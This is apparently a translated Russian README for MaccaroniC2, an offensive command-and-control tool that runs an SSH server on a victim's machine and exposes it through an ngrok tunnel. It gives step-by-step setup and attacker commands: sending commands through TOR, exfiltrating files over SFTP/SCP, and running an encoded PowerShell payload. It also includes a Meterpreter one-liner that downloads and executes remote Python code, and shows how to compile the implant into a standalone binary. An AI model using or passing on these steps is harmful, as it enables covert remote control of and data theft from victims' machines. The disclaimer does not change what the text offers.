
Фреймворк Command & Control (C2) концептуального образца, использующий мощную библиотеку AsyncSSH на Python, которая предоставляет асинхронную реализацию клиента и сервера протокола SSHv2, а также обёртку PyNgrok для интеграции с ngrok.

MaccaroniC2 — это доказательство концепции фреймворк для командования и управления, который использует мощную библиотеку AsyncSSH Python, предоставляющую асинхронную реализацию клиента и сервера протокола SSHv2, и использует обёртку PyNgrok для интеграции ngrok. Этот инструмент вдохновлён конкретным сценарием, когда жертва запускает сервер AsyncSSH и устанавливает туннель наружу, готовый принимать команды от атакующего.
Атакующий использует официальный API Ngrok, чтобы получить имя хоста и порт туннеля для установки соединения. Этот подход использует преимущества всесторонних возможностей, предоставляемых AsyncSSH, включая встроенную поддержку SFTP и SCP, что облегчает безопасную и эффективную эксфильтрацию данных и не только.
Более того, атакующий может отправлять и выполнять системные команды через SOCKS-прокси, используя преимущества, например, TOR для повышения анонимности.
Запустите python3 gen_rsa.py для генерации пары SSH-ключей. Недавно сгенерированный id_rsa используется атакующим для подключения к серверу, работающему на машине жертвы.
Отредактируйте файл asyncssh_server.py и поместите содержимое только что сгенерированного id_rsa.pub в переменную pub_key. asyncssh_server.py предоставляет реализацию протокола SSHv2 с функциями SFTP и SCP. Этот скрипт запускается жертвой.
Создайте бесплатную учётную запись на сайте Ngrok и запишите токен AUTH.
Добавьте токен AUTH в переменную token в asyncssh_server.py, это должно быть жёстко закодировано внутри функции ngrok_tunnel().
Создайте бесплатный ключ API на сайте Ngrok. Запишите сгенерированную строку.
С помощью async_commander.py вы можете отправить любую команду на сервер. Он автоматически запрашивает домен и порт туннеля Ngrok, активированного жертвой, используя официальный API Ngrok.
Также обратите внимание, что id_rsa должен находиться в той же папке, что и async_commander.py
Запустите сервер на машине жертвы:
python3 asyncssh_server.py
С машины атакующего отправьте команду через SOCKS-прокси:
python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050
Отправьте команду без использования прокси:
python3 asyncssh_commander.py "whoami"
Запустите другого C2 агента (Powershell-Empire, Meterpreter и т.д.):
python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"
Модуль web_delivery Meterpreter
python3 asyncssh_commander.py "python3 -c \"import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());\""
Получить список активных туннелей:
python3 get_endpoints.py
Сгенерировать новые пары RSA-ключей:
python3 gen_rsa.py
Использование SFTP и SCP — вам не нужен действительный пользователь, только правильный id_rsa
proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path
sftp -P PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path
python -m pip install nuitka
python -m nuitka --standalone --onefile asyncssh_server.py
https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py
Для получения дополнительной информации ознакомьтесь со статьёй: https://blog.hacktivesecurity.com/index.php/2023/06/05/inside-the-mind-of-a-cyber-attacker-from-malware-creation-to-data-exfiltration-part-1/
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот инструмент предназначен только для тестирования и образовательных целей. Его следует использовать только на системах с соответствующим разрешением. Любое несанкционированное или незаконное использование этого инструмента строго запрещено. Создатель этого инструмента не несёт ответственности за любое неправильное использование или ущерб, причинённый в результате его использования. Пожалуйста, соблюдайте применимые законы и нормативные акты при использовании этого инструмента. Кроме того, важно отметить, что использование Ngrok в сочетании с этим инструментом может привести к нарушению условий обслуживания или политик некоторых платформ. Рекомендуется ознакомиться и соблюдать условия использования любой платформы или сервиса, чтобы избежать потенциальной блокировки аккаунта или сбоев.
Поместите строку ключа API в переменную api_key внутри файла async_commander.py. Это позволяет нам автоматически получать домен и порт Ngrok активного туннеля во время автоматизации.
Выполните тот же шаг для файла get_endpoints.py. Этот скрипт получает различную полезную информацию об активных туннелях.